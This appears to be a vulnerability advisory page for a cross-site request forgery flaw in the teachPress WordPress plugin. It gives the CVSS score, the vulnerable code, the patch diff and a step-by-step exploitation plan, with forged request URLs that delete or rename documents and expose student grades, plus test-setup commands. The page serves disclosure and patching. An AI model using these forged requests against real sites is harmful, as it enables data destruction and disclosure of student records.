CVE-2026-22483

teachPress <= 9.0.12 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
9.0.13
Patched in
100d
Time to patch

Description

The teachPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 9.0.12. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=9.0.12
PublishedJanuary 6, 2026
Last updatedApril 15, 2026
Affected pluginteachpress

What Changed in the Fix

Changes introduced in v9.0.13

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-22483 (teachPress CSRF) ## 1. Vulnerability Summary The **teachPress** plugin for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)** in versions up to 9.0.12. The vulnerability exists in the `tp_ajax_callback()` function located in `core/ajax-cal…

Show full research plan

Exploitation Research Plan: CVE-2026-22483 (teachPress CSRF)

1. Vulnerability Summary

The teachPress plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 9.0.12. The vulnerability exists in the tp_ajax_callback() function located in core/ajax-callback.php. This function handles multiple sensitive operations—including deleting documents, adding headlines, and renaming documents—without performing any nonce validation (CSRF protection). An attacker can trick a logged-in user with the use_teachpress capability (typically an Administrator or Teacher) into performing unauthorized actions by simply having them visit a malicious link or page.

2. Attack Vector Analysis

  • Vulnerable Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: tp_ajax (associated with the tp_ajax_callback() function)
  • Vulnerable Parameters:
    • del_document (GET): Triggering TP_Ajax::delete_document to delete files and records.
    • change_document and new_document_name (POST): Triggering TP_Ajax::change_document_name to rename entries.
  • Authentication Requirement: Authenticated user with the use_teachpress capability.
  • Preconditions: The attacker must know (or guess) the ID of a document entry to delete or modify.

3. Code Flow

  1. Entry Point: A request is made to admin-ajax.php with action=tp_ajax.
  2. Hook: WordPress routes the request to tp_ajax_callback() in core/ajax-callback.php.
  3. Authorization Check: The function checks is_user_logged_in() && current_user_can('use_teachpress') (Line 18).
  4. Logic Branch (Deletion):
    • If $_GET['del_document'] is set, it calls TP_Ajax::delete_document($del_document) (Lines 55-58).
  5. Sink: TP_Ajax::delete_document() in core/class-ajax.php performs the following:
    • Fetches the document path via TP_Documents::get_document().
    • Filesystem Sink: Calls @unlink( $uploads['basedir'] . $data['path'] ) to delete the physical file (Line 59).
    • Database Sink: Calls TP_Documents::delete_document($doc_id) to delete the database record (Line 66).
  6. Missing Security: At no point in this flow is check_ajax_referer() or wp_verify_nonce() called, allowing cross-origin requests to trigger these actions.

4. Nonce Acquisition Strategy

No nonce acquisition is required for this exploit.
The vulnerability is precisely the omission of nonce validation in the tp_ajax_callback() function. The function only verifies the user's session and capabilities, which are automatically provided by the browser in a CSRF scenario.

5. Exploitation Strategy

The goal is to demonstrate unauthorized deletion of a document via a CSRF request.

Step-by-Step Plan:

  1. Setup: Authenticate as an Administrator.
  2. Identification: Create a dummy document in a course and identify its doc_id.
  3. Exploit Execution (Deletion via GET):
    • Send a GET request to the AJAX endpoint while the session is active.
    • In a real attack, this would be an <img> tag or a background fetch on a malicious site.
  4. Exploit Execution (Rename via POST):
    • Send a POST request to rename a document, demonstrating state manipulation.

Payloads:

Action: Delete Document

  • Method: GET
  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php?action=tp_ajax&del_document=[DOC_ID]
  • Response Expected: true

Action: Rename Document

  • Method: POST
  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Body (URL-encoded): action=tp_ajax&change_document=[DOC_ID]&new_document_name=REALLY_HACKED
  • Response Expected: REALLY_HACKED

6. Test Data Setup

  1. Enable Plugin: Ensure teachpress is active.
  2. Create Course:
    # Use WP-CLI to ensure at least one course exists (Table: wp_teachpress_courses)
    wp db query "INSERT INTO wp_teachpress_courses (name, shortname) VALUES ('Security Course', 'SEC101');"
    
  3. Create Document:
    # Create a dummy file in the uploads directory
    echo "secret data" > /var/www/html/wp-content/uploads/secret.txt
    
    # Insert record into database (Table: wp_teachpress_documents)
    # course_id should match the ID of the course created above (usually 1)
    wp db query "INSERT INTO wp_teachpress_documents (name, path, course_id) VALUES ('Sensitive Doc', '/secret.txt', 1);"
    
  4. Capture ID: Note the doc_id from the newly inserted record.

7. Expected Results

  • The AJAX response for the deletion payload should be the string true.
  • The document record should be missing from the wp_teachpress_documents table.
  • The file /var/www/html/wp-content/uploads/secret.txt should be deleted from the filesystem.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT * FROM wp_teachpress_documents WHERE name='Sensitive Doc';"
    
    Expected: Empty result.
  2. Filesystem Check:
    ls /var/www/html/wp-content/uploads/secret.txt
    
    Expected: "No such file or directory".

9. Alternative Approaches

  • Document Headline Creation:
    Trigger add_document_headline via GET to clutter the database with arbitrary entries:
    GET /wp-admin/admin-ajax.php?action=tp_ajax&add_document=HACKED_HEADLINE&course_id=1
  • Information Disclosure:
    Trigger get_assessment_screen to view assessment details for an ID:
    GET /wp-admin/admin-ajax.php?action=tp_ajax&assessment_id=1
    This returns HTML containing student names and grades, bypassing UI access controls if the victim is an admin.
Research Findings
Static analysis — not yet PoC-verified

Summary

The teachPress plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) up to version 9.0.12 because its AJAX handler function lacks nonce validation. This allows attackers to trick an authenticated user with the 'use_teachpress' capability into performing administrative actions like deleting or renaming documents and modifying course headlines.

Vulnerable Code

// core/ajax-callback.php:14-61
function tp_ajax_callback () {
    
    // Check permissions
    if ( is_user_logged_in() && current_user_can('use_teachpress') ) {
        
        // ... (truncated)
        
        /**
         * Removing documents
         * Works if $_GET['del_document'] is given
         */
        $del_document = ( isset( $_GET['del_document'] ) ) ? intval( $_GET['del_document'] ) : 0;
        if ( $del_document !== 0 ) {
            TP_Ajax::delete_document($del_document);
        }

        /**
         * Adding document headlines
         * Works if $_GET['add_document'] and $_GET['course_id'] are given
         */
        $add_document = ( isset( $_GET['add_document'] ) ) ? htmlspecialchars( $_GET['add_document'] ) : '';
        $course_id = ( isset( $_GET['course_id'] ) ) ? intval( $_GET['course_id'] ) : 0;
        if ( $add_document !== '' && $course_id !== 0 ) {
            TP_Ajax::add_document_headline($add_document, $course_id);
        }

---

// core/class-ajax.php:52-68
    public static function delete_document( $doc_id ) {
        $doc_id = intval($doc_id);
        $data = TP_Documents::get_document($doc_id);
        if ( $data['path'] !== '' ) {
            $uploads = wp_upload_dir();
            $test = @ unlink( $uploads['basedir'] . $data['path'] );
            //echo $uploads['basedir'] . $data['path'];
            if ( $test === false ) {
                echo 'false';
                return false;
            }
        }
        TP_Documents::delete_document($doc_id);
        echo 'true';
        return true;
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.12/core/ajax-callback.php /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.13/core/ajax-callback.php
--- /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.12/core/ajax-callback.php	2023-06-21 17:41:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.13/core/ajax-callback.php	2026-04-11 14:13:42.000000000 +0000
@@ -47,8 +47,9 @@
          * Works if $_GET['del_document'] is given
          */
         $del_document = ( isset( $_GET['del_document'] ) ) ? intval( $_GET['del_document'] ) : 0;
+        $nonce = ( isset( $_GET['nonce'] ) ) ? intval( $_GET['nonce'] ) : '';
         if ( $del_document !== 0 ) {
-            TP_Ajax::delete_document($del_document);
+            TP_Ajax::delete_document($del_document, $nonce);
         }
 
         /**
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.12/core/class-ajax.php /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.13/core/class-ajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.12/core/class-ajax.php	2025-03-22 22:01:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/teachpress/9.0.13/core/class-ajax.php	2026-04-11 14:13:42.000000000 +0000
@@ -40,11 +40,17 @@
     /**
      * Deletes a document
      * @param int $doc_id           The document ID
+     * @param string $nonce         WP Nonce Key
      * @return boolean
      * @since 5.0.0
      * @access public
      */
-    public static function delete_document( $doc_id ) {
+    public static function delete_document( $doc_id, $nonce ) {
+        // Verify nonce key
+        if ( ! wp_verify_nonce( $nonce, 'verify_teachpress_del_doc' ) ) {
+            return;
+        }
+        
         $doc_id = intval($doc_id);
         $data = TP_Documents::get_document($doc_id);

Exploit Outline

An attacker can exploit this vulnerability by crafting a malicious request to the site's AJAX endpoint and tricking a logged-in user with the 'use_teachpress' capability (such as an Administrator or Teacher) into visiting a malicious link or submitting a form. 1. For Deleting a Document: A GET request is sent to `/wp-admin/admin-ajax.php?action=tp_ajax&del_document=[DOC_ID]`. Because there is no nonce check, the plugin will verify the user's existing session and proceed to delete both the database record and the associated file from the filesystem. 2. For Renaming a Document: A POST request is sent to `/wp-admin/admin-ajax.php` with the body `action=tp_ajax&change_document=[DOC_ID]&new_document_name=[NEW_NAME]`. Authentication Requirement: The victim must be logged in with a user account that has the `use_teachpress` capability.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.